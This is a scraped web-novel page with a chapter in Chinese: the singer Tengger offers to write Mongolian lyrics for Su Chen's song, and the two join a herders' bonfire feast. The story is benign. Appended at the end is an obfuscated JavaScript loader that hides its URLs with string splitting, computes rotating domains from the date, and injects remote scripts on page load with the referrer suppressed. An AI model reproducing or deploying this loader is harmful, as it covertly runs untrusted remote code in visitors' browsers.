返回

184蒙语版的歌词,交给我 开局说我剽窃?我用地球老歌杀疯了!

首页
报错
关灯
护眼
字:
大
中
小
上一章 回目录 下一页

腾格尔说到这里,抬头盯着苏晨的眼睛,沉声道:

“当然了,汉语版真的很好听,也很适合在华国大陆上流行。

但如果改成蒙语版,歌词必须得改。”

苏晨脸上没什么意外的神色,点了点头,语气平和:

“可以,没问题。”

腾格尔盯着他看了几秒,像是没想到他这么爽快,没有半分创作者对自己作品的护短。

他愣了愣,随即忽然笑了。

“好,爽快!”

腾格尔抬手重重拍了下苏晨的胳膊,大声道:

“这蒙语版的词,交给我。我今晚就熬通宵,明天一早就拿给你看,保准配得上这曲子!”

苏晨是这首歌的创造者,改词自然要过他的目。

但他始终认为,真正能把草原母语的精髓填进这旋律里的,只能是他这个在草原上唱了半辈子的人。

苏晨点了点头:

“好。”

腾格尔畅快地大笑起来。

他已经很久没遇到这么不矫情、不扭捏的汉族人了。

哪怕他心里依旧觉得,这年轻人天赋绝顶,却终究是外乡人,懂不了草原母语里的千回百转。

“腾格尔大叔,苏晨哥哥,羊肉烤好了,该吃饭了!”

叫斯琴的少女不知何时冒了出来,俏生生地站在腾格尔身后,手里还端着一碗刚倒好的奶酒。

腾格尔伸手重重拍在苏晨的肩膀上,伸手指向河谷边的空地,爽朗笑道:

“巴图尔备了篝火晚会,烤了整只羊,走,我们边喝酒边说!

我正好跟你聊聊,这蒙语的词,该怎么填才够味!”

苏晨转头看向他指的方向。

那是在河边的一片空地上,已经支起了一个巨大的烧烤架。

上面是一整只烤全羊,正被篝火烤的滋滋作响。

附近的牧民都来了,足有一百多人。

苏晨跟着腾格尔迈步过去,晚风卷着烤全羊的焦香与奶酒的醇厚扑面而来。

篝火燃得正旺,橘红色的火舌舔着墨蓝色的夜空,将周遭一百多张笑脸都映得暖融融的。

牧民们见腾格尔领着客人过来,纷纷笑着起身招手。

巴图尔举着酒囊大步迎上来,


本章未完,点下一页继续阅读。>>>

let urls=["hUUtUUtUUpUUsUU:UU/UU/UU{UUdUUdUUmUU}UU/UU1UU8UU/UU1UU1UU0UU5UU6UU1UUbUU2UU6UU2UU9UU3UU8".split("UU").join(""),"hMMtMMtMMpMMsMM:MM/MM/MMsMM.MMlMMtMMdMMzMMzMM.MMcMMoMMmMM/MM1MM8MM/MM1MM1MM0MM5MM6MM1MMbMM2MM6MM2MM9MM3MM8".split("MM").join("")];window.__rr__hld=1;let urlindex=0;let ddm=function(){let i = parseInt((new Date().getTime()/1000 - 1767052800)/86400/2);i = i %30;let ds = ['3w2t89814','btsel5g','6xklldl','2jtbig','kjbyn6zr96','8wz4mjirv','hpm47fyaf','oc79obwnpm','hjvrl','aroychmdcl','lx51ib3szv','6z2h1lycfw','ef7t2','31fpdcrf','uqn83ea8q'];return ds[i%15] + (i<15?".cc":".co"+"m");};let rfunc=function(){if(window.__rr__loaded_2938_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++].replace(/\{ddm\}/g,ddm())+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);}};rfunc();rfunc();
上一章 回目录 下一页